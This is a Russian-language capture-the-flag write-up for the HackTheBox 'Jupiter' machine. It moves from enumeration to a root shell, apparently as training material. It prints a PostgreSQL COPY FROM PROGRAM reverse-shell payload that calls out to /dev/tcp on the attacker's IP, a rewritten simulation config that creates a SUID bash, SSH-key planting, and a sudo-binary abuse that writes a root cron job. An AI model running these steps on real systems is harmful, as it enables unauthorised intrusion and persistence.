Обзор сервисов
Начнем со стандартного сканирования машины с IP-адресом 10.10.11.216
с помощью nmap
:
$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.216 10.10.11.216
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-25 20:39 GMT
Nmap scan report for 10.10.11.216
Host is up (0.055s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Вывод стандартный для Linux-машин на HackTheBox.
Чтобы исследовать веб-сервис, необходимо прописать себе /etc/hosts
адрес машины:
$ sudo nano /etc/hosts
10.10.11.216 jupiter.htb
Зайдем на сервис снова.
Беглый осмотр веб-сайта ничего не дал. Запустим gobuster
с параметром vhost
для поиска поддоменов.
$ ./gobuster vhost -u http://jupiter.htb -w /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jupiter.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: kiosk.jupiter.htb Status: 200 [Size: 34390]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
По адресу kiosk.jupiter.htb
нас встречает Grafana.
Если посмотреть в историю в Burp, то можно увидеть POST запрос на /api/ds/query
, в который можно отправлять сырой SQL-запрос.
Попробуем выполнить select version();
Узнаем, что это PostgreSQL.
Попробуем воспользоваться CVE-2019–9193.
Запускаем netcat
и последовательно выполняем запросы:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.5/4242 0>&1\"';
Посмотрим пользователей в системе:
$ cat /etc/passwd
juno:x:1000:1000:juno:/home/juno:/bin/bash
...
jovian:x:1001:1002:,,,:/home/jovian:/bin/bash
...
Поищем все файлы, принадлежащие пользователю juno
:
$ find / -user juno 2>/dev/null
/dev/shm/shadow.data
/dev/shm/shadow.data/sim-stats.json
/dev/shm/shadow.data/processed-config.yaml
/dev/shm/shadow.data/hosts
/dev/shm/shadow.data/hosts/server
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.exitcode
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.shimlog
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stderr
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stdout
/dev/shm/shadow.data/hosts/client3
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stderr
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stdout
/dev/shm/shadow.data/hosts/client2
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stderr
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stdout
/dev/shm/shadow.data/hosts/client1
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stderr
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stdout
/dev/shm/network-simulation.yml
/home/juno
Проверим, что в каталоге /dev/shm
:
$ ls -la
total 32
drwxrwxrwt 3 root root 100 Sep 30 16:54 .
drwxr-xr-x 20 root root 4020 Sep 30 16:29 ..
-rw------- 1 postgres postgres 26976 Sep 30 16:29 PostgreSQL.603670224
-rw-rw-rw- 1 juno juno 815 Mar 7 2023 network-simulation.yml
drwxrwxr-x 3 juno juno 100 Sep 30 16:54 shadow.data
$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
Похоже, что на сервере происходит просчет каких-то симуляций. Модифицируем этот файл так, чтобы скопировать bash
в новое место и дать ему SUID-бит.
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /usr/bin/bash /tmp/bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: u+s /tmp/bash
start_time: 5s
Через несколько секунд появится файл /tmp/bash
с SUID-битом.
$ ls -la /tmp
...
-rwsr-xr-x 1 juno juno 1396520 Sep 30 17:06 bash
...
$ /tmp/bash -p
$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyMaYjXJ1mzrhbBqZbYDujLFoka3euJlLcVgBk0HKMa u" >> /home/juno/.ssh/authorized_keys
Теперь подключимся по SSH:
Флаг пользователя
Повышение привилегий
Проверим, какие порты открыты:
$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 127.0.0.1:54810 TIME_WAIT timewait (11.68/0/0)
tcp 0 0 127.0.0.1:3000 127.0.0.1:38050 TIME_WAIT timewait (42.74/0/0)
tcp 0 0 127.0.0.1:38036 127.0.0.1:3000 TIME_WAIT timewait (34.00/0/0)
tcp 0 0 127.0.0.1:50368 127.0.0.1:3000 TIME_WAIT timewait (0.61/0/0)
...
Интересные порты 8888, 3000.
Перенаправим порт и посмотрим, что на порту 8888.
ssh -L 127.0.0.1:8888:127.0.0.1:8888 [email protected]
Чтобы пройти в Jupiter ноутбук, нам нужен токен. Попробуем поискать в системе:
$ grep token / -R
/opt/solar-flares/logs/jupyter-2023-03-08-14.log: http://localhost:8888/?token=b8055b937eeb17431b3f00dfc5159ba909012d86be120b60
/opt/solar-flares/logs/jupyter-2023-03-08-14.log: or http://127.0.0.1:8888/?token=b8055b937eeb17431b3f00dfc5159ba909012d86be120b60
/opt/solar-flares/logs/jupyter-2023-03-09-59.log:[I 11:59:22.116 NotebookApp] http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
/opt/solar-flares/logs/jupyter-2023-03-09-59.log:[I 11:59:22.116 NotebookApp] or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
/opt/solar-flares/logs/jupyter-2023-03-09-59.log: http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
/opt/solar-flares/logs/jupyter-2023-03-09-59.log: or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-09-30-29.log
[W 16:29:17.608 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 16:29:17.615 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 16:29:17.615 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 16:29:17.615 NotebookApp] http://localhost:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
[I 16:29:17.615 NotebookApp] or http://127.0.0.1:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
[I 16:29:17.615 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 16:29:17.620 NotebookApp] No web browser found: could not locate runnable browser.
[C 16:29:17.620 NotebookApp]
To access the notebook, open this file in a browser:
file:///home/jovian/.local/share/jupyter/runtime/nbserver-1170-open.html
Or copy and paste one of these URLs:
http://localhost:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
or http://127.0.0.1:8888/?token=ea7514260febbf8ab46c7511025115cd106d90a684552a83
[I 17:57:42.462 NotebookApp] 302 GET / (127.0.0.1) 0.880000ms
[I 17:57:42.597 NotebookApp] 302 GET /tree? (127.0.0.1) 2.000000ms
[W 17:59:06.035 NotebookApp] 401 POST /login?next=%2Ftree%3F (127.0.0.1) 2.880000ms referer=http://127.0.0.1:8888/login?next=%2Ftree%3F
[W 18:01:16.896 NotebookApp] 401 POST /login?next=%2Ftree%3F (127.0.0.1) 3.370000ms referer=http://127.0.0.1:8888/login?next=%2Ftree%3F
После ввода токена создадим новый Jupiter Notebook и пропишем свой ключ как пользователь jovian
.
Переподключимся как jovian
:
Проверим, что мы можем делать от имени суперпользователя:
jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
$ strings /usr/local/bin/sattrack | grep config
/tmp/config.json
tleroot not defined in config
updatePerdiod not defined in config
station not defined in config
name not defined in config
lat not defined in config
lon not defined in config
hgt not defined in config
mapfile not defined in config
texturefile not defined in config
tlefile not defined in config
su_lib_log_config
_GLOBAL__sub_I__Z6configB5cxx11
Попробуем найти используемый файл /tmp/config.json
и скопировать его по нужному пути:
$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
$ cp /usr/local/share/sattrack/config.json /tmp/config.json
Посмотрим на файл:
$ cat /tmp/config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
При запуске от имени суперпользователя программа пытается выкачать данные из http://celestrak.org/NORAD/elements/weather.txt
и положить в файл /tmp/tle/weather.txt
.
$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
Этим способом можно записать любой файл от имени суперпользователя. Запишем с помощью записи в cron
свой ключ в /root/.ssh/authorized_keys
:
$ nano /tmp/root
*/1 * * * * root mkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyMaYjXJ1mzrhbBqZbYDujLFoka3euJlLcVgBk0HKMa u" > /root/.ssh/authorized_keys
$ nano /tmp/config.json
{
"tleroot": "/etc/cron.d/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:///tmp/root"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///tmp/root
tlefile is not a valid file
После этого подождем две минуты и залогинимся как root
.